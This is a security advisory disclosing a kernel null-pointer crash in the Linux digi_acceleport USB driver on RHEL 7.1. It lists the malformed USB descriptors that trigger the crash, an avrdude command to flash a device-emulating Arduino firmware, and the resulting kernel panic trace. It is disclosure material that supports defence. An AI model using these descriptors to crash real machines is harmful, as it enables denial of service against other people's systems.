Linux digi_acceleport Nullpointer Dereference
Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid
USB device descriptors (digi_acceleport driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the
CentOS Kernel kernel-debuginfo-3.10.0-229.
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net/advisories/
Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB
device requiring the digi_acceleport driver.
Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.
Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo
(github.com/schumilo) using the following device descriptor:
[*] Device-Descriptor
bLength: 0x12
bDescriptorType: 0x1
bcdUSB: 0x200
bDeviceClass: 0x3
bDeviceSubClass: 0x0
bDeviceProtocol: 0x0
bMaxPacketSize: 0x40
idVendor: 0x5c5
idProduct: 0x2
bcdDevice: 0x100
iManufacturer: 0x1
iProduct: 0x2
iSerialNumbers: 0x3
bNumConfigurations: 0x1
The digi_acceleport driver does not use the num_ports (struct usb_serial)
value for any kind of sanity checks during the initialization process
(digi_port_init & digi_startup). Due to an incomplete sanity check, the driver
could try to dereference a null-pointer if a malformed device-descriptor is
presented (zero-value for bNumEndpoints or no described endpoint-descriptors).
This results in a crash of the system.
[*] Configuration-Descriptor
bLength: 0x9
bDescriptorType: 0x2
wTotalLength: 0x27
bNumInterfaces: 0x1
bConfigurationValue: 0x1
iConfiguration: 0x0
bmAttributes: 0x0
bMaxPower: 0x31
[*] Interface-Descriptor
bLength: 0x9
bDescriptorType: 0x4
bInterfaceNumber: 0x0
bAlternateSetting: 0x0
bNumEndpoints: 0x0
bInterfaceClass: 0x0
bInterfaceSubClass: 0x0
bInterfaceProtocol: 0x0
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x81
bmAttribut: 0x3
wMaxPacketSize: 0x404
bInterval: 0xc
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x1
bmAttribut: 0x2
wMaxPacketSize: 0x4
bInterval: 0xc
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x82
bmAttribut: 0x1
wMaxPacketSize: 0x4
bInterval: 0xc
Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This
firmware will emulate the defective USB device.
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
flash:w:binary.hex
The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to
connect port D3 and 3V3!
Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,
only physical access to the system is required.
Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this
Security Advisory.
References:
https://bugzilla.redhat.com/
Kernel Stacktrace:
[ 39.946974] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 40.160503] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint
descriptors, different from the interface descriptor's value: 0
[ 40.191627] usb 1-1: New USB device found, idVendor=05c5, idProduct=0002
[ 40.200660] usb 1-1: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
[ 40.210919] usb 1-1: Product: ĉ
[ 40.216028] usb 1-1: Manufacturer: ĉ
[ 40.220047] usb 1-1: SerialNumber: %
[ 40.285649] usbcore: registered new interface driver digi_acceleport
[ 40.295629] usbserial: USB Serial support registered for Digi 2 port USB
adapter
[ 40.302062] usbserial: USB Serial support registered for Digi 4 port USB
adapter
[ 40.318968] digi_acceleport 1-1:1.0: Digi 2 port USB adapter converter
detected
[ 40.327158] BUG: unable to handle kernel NULL pointer dereference at
0000000000000268
[ 40.328013] IP: [<ffffffff81097dca>] __init_waitqueue_head+0xa/0x20
[ 40.328013] PGD 0
[ 40.328013] Oops: 0002 [#1] SMP
[ 40.328013] Modules linked in: digi_acceleport(+) ip6t_rpfilter ip6t_REJECT
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[ 40.328013] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted
3.10.0-229.14.1.el7.x86_64 #1
[ 40.328013] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[ 40.328013] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 40.328013] RIP: 0010:[<ffffffff81097dca>] [<ffffffff81097dca>]
__init_waitqueue_head+0xa/0x20
[ 40.328013] RSP: 0018:ffff88000bd23a30 EFLAGS: 00010282
[ 40.328013] RAX: 0000000000000270 RBX: ffff88000af97d80 RCX: 0000000000000000
[ 40.328013] RDX: ffffffffa03978f8 RSI: ffffffffa0396577 RDI: 0000000000000268
[ 40.328013] RBP: ffff88000bd23a58 R08: 0000000000016440 R09: ffff88000e401800
[ 40.328013] R10: ffffffffa039531a R11: ffff88000c3b9800 R12: 0000000000000000
[ 40.328013] R13: 0000000000000003 R14: ffff88000af97840 R15: ffffffffa0397200
[ 40.328013] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)
knlGS:0000000000000000
[ 40.328013] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 40.328013] CR2: 0000000000000268 CR3: 000000000cb80000 CR4:
00000000000006f0
[ 40.328013] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[ 40.328013] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 40.328013] Stack:
[ 40.328013] ffff88000bd23a58 ffffffffa03953bf ffff88000d685d00 ffff88000af97840
[ 40.328013] ffff88000c525830 ffff88000bd23a80 ffffffffa0395464 ffff88000bd23a80
[ 40.328013] ffff88000af97858 ffff88000af97858 ffff88000bd23c18 ffffffff8145fed1
[ 40.328013] Call Trace:
[ 40.328013] [<ffffffffa03953bf>] ? digi_port_init+0xcf/0x100 [digi_acceleport]
[ 40.328013] [<ffffffffa0395464>] digi_startup+0x54/0x98 [digi_acceleport]
[ 40.328013] [<ffffffff8145fed1>] usb_serial_probe+0xdb1/0x1230
[ 40.328013] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0
[ 40.328013] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0
[ 40.328013] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0
[ 40.328013] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100
[ 40.328013] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/
[ 40.328013] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 40.328013] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 40.328013] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[ 40.328013] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 40.328013] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 40.328013] [<ffffffff8145ec4b>] usb_serial_register_drivers+
[ 40.328013] [<ffffffffa039a000>] ? 0xffffffffa0399fff
[ 40.328013] [<ffffffffa039a01e>] usb_serial_module_init+0x1e/
[digi_acceleport]
[ 40.328013] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 40.328013] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 40.328013] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 40.328013] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+
[ 40.328013] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[ 40.328013] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 40.328013] Code: 00 48 c7 c7 50 32 d6 81 e8 74 38 57 00 e9 37 ff ff ff e8 5a
1a 57 00 e9 61 ff ff ff 0f 1f 44 00 00 0f 1f 44 00 00 55 48 8d 47 08 <c7> 07 00
00 00 00 48 89 e5 48 89 47 08 48 89 47 10 5d c3 0f 1f
[ 40.328013] RIP [<ffffffff81097dca>] __init_waitqueue_head+0xa/0x20
[ 40.328013] RSP <ffff88000bd23a30>
[ 40.328013] CR2: 0000000000000268
[ 40.772818] ---[ end trace b239663354a1c556 ]---
[ 40.778676] Kernel panic - not syncing: Fatal exception
[ 40.779642] drm_kms_helper: panic occurred, switching back to text console
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